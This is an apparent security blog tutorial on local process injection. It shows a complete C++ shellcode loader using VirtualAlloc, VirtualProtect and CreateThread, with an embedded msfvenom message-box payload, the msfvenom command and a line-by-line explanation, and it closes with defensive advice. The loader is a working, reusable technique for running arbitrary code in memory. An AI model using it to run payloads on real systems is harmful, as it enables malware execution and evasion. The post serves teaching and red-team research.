1 Oct 2025
Understand the inner workings of local process injection using C++ shellcode loading. Learn how Windows API functions like VirtualAlloc, VirtualProtect, and CreateThread are used in these attacks, and discover critical defensive strategies to protect your systems. Essential for security professionals.
Process injection is a technique used by red teamers and malware developers to execute arbitrary code within a target process. In this blog post, we will explore the concept of local process injection and examine a code example that demonstrates how to inject shellcode into a local process. We will also provide guidance on how to generate shellcode for different purposes.
Local process injection involves injecting code into a local process running on the same machine. This technique allows an attacker to execute code within the context of the target process, giving them the same privileges as the target process. Local process injection can be used for a variety of purposes, including privilege escalation, code execution, and data manipulation.
Disclaimer: This educational content is intended for authorized security testing and research purposes only. Always ensure you have proper authorization before testing any systems.
The code provided below demonstrates a simple implementation of local process injection using shellcode
#include <windows.h>
#include <iostream>
using namespace std;
unsigned char shellCode[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00\x00\x41"
"\x51\x41\x50\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60"
"\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x48"
"\x8b\x72\x50\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b"
"\x52\x20\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18"
"\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00"
"\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x44\x8b\x40\x20\x8b"
"\x48\x18\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac"
"\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39"
"\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41"
"\x58\x48\x01\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41"
"\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x4b\xff\xff\xff\x5d\xe8\x0b\x00\x00\x00\x75"
"\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c"
"\x77\x26\x07\xff\xd5\x49\xc7\xc1\x00\x00\x00\x00\xe8\x09"
"\x00\x00\x00\x49\x74\x20\x77\x6f\x72\x6b\x73\x00\x5a\xe8"
"\x08\x00\x00\x00\x50\x61\x79\x6c\x6f\x61\x64\x00\x41\x58"
"\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9"
"\x41\xba\xf0\xb5\xa2\x56\xff\xd5";
unsigned int shellCodeSize = sizeof(shellCode);
int main()
{
LPVOID memorySpace = VirtualAlloc(0, shellCodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (memorySpace == NULL)
{
cout << "[-] Failed to allocate memory" << endl;
return 1;
}
memcpy(memorySpace, shellCode, shellCodeSize);
DWORD oldProtect;
if (!VirtualProtect(memorySpace, shellCodeSize, PAGE_EXECUTE_READ, &oldProtect))
{
cerr << "[-] Failed to change memory protection" << endl;
return 1;
};
HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)memorySpace, nullptr, 0, nullptr);
if (hThread == nullptr)
{
cerr << "[-] Failed to create thread" << endl;
return 1;
}
WaitForSingleObject(hThread, INFINITE);
return 0;
}
To generate shellcode i used msfvenom
msfvenom -p windows/x64/messagebox TEXT="It works" TITLE="Payload" -f c
Let's break down each part of the code.
These lines include the necessary headers for the code. windows.h
is required for Windows-specific functions, and iostream
is required for input/output operations. The using namespace std;
line allows us to use standard library functions without having to prefix them with std::
#include <windows.h>
#include <iostream>
using namespace std;
This line declares a variable shellCodeSize
that holds the size of the shellcode array.
unsigned int shellCodeSize = sizeof(shellCode);
The main()
function begins here. It uses the VirtualAlloc()
function to allocate a block of memory with the size of shellCodeSize
The memory is allocated with the MEM_COMMIT | MEM_RESERVE
flags, which means the memory will be committed and reserved. The PAGE_READWRITE
flag allows the memory to be read from and written to.
int main()
{
LPVOID memorySpace = VirtualAlloc(0, shellCodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (memorySpace == NULL)
{
cout << "[-] Failed to allocate memory" << endl;
return 1;
}
The memcpy()
function is used to copy the shellcode into the allocated memory.
memcpy(memorySpace, shellCode, shellCodeSize);
DWORD oldProtect;
The VirtualProtect()
function is used to change the memory protection of the allocated memory. It sets the memory to be executable by setting the PAGE_EXECUTE_READ
flag.
if (!VirtualProtect(memorySpace, shellCodeSize, PAGE_EXECUTE_READ, &oldProtect))
{
cerr << "[-] Failed to change memory protection" << endl;
return 1;
}
The CreateThread()
function is used to create a new thread that will execute the shellcode. The memorySpace
pointer is passed as the start routine for the thread.
HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)memorySpace, nullptr, 0, nullptr);
if (hThread == nullptr)
{
cerr << "[-] Failed to create thread" << endl;
return 1;
}
The WaitForSingleObject()
function is used to wait for the thread to finish execution. The INFINITE
flag means the function will wait indefinitely. Finally, the main()
function returns 0 to indicate successful execution.
WaitForSingleObject(hThread, INFINITE);
return 0;
}
Local process injection is a powerful technique often leveraged by attackers to execute malicious code within legitimate processes, enabling evasion, privilege escalation, and persistence. While understanding how it works is valuable for red teamers and researchers, defenders must focus on monitoring for abnormal process behavior, memory manipulation, and unauthorized thread creation. Ethical considerations are crucial—testing should only occur in controlled, authorized environments. By strengthening endpoint defenses, enforcing least privilege, and leveraging modern EDR and logging tools, organizations can significantly reduce the risks posed by process injection. Ultimately, awareness and proactive defense are key to staying resilient.
Learn the core principles of malware development, including process and thread management, memory manipulation, and evasion techniques. Explore C/C++, Rust, and Windows API strategies for ethical malware research.
Shellcode injection is a fundamental technique in ethical hacking and penetration testing that allows security professionals to understand how malicious code can be executed in memory. In this comprehensive guide, we'll explore a simple C++ shellcode injector implementation and discuss its applications in legitimate security research.